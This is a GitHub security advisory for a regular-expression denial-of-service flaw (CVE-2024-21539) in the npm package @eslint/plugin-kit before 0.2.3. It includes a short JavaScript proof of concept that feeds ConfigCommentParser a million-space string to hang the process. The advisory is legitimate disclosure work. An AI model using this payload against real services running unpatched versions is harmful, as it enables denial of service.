GitHub Advisoryadvisory · npm

GHSA-7q7g-4xm8-89cq Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit

LOW Published 2024-11-15 Modified 2024-11-19 Official page ↗
Aliases
CVE-2024-21539
Ecosystem
npm
Packages
@eslint/plugin-kit
Severity
Low
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L
Weaknesses
CWE-1333, CWE-770
Reviewed
2024-11-15

Affected packages

• npm @eslint/plugin-kit: < 0.2.3 → fixed in 0.2.3

Description

Crafting a very large and well crafted string can increase the CPU usage and crash the program. POC ```js const { ConfigCommentParser } = require("@eslint/plugin-kit"); var str = ""; for (var i = 0; i < 1000000; i++) { str += " "; } str += "A"; console.log("start") var parser = new ConfigCommentParser(); console.log(parser.parseStringConfig(str, "")); console.log("end") // run `npm i @eslint/plugin-kit` and `node attack.js` // then the program will stuck forever with high CPU usage ```

Related

Alias · CVE (1)

  • CVE-2024-21539 Versions of the package @eslint/plugin-kit before 0.2.3 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper… vulnerability

Weakness · CWE (2)

  • CWE-1333 Inefficient Regular Expression Complexity weakness
  • CWE-770 Allocation of Resources Without Limits or Throttling weakness

References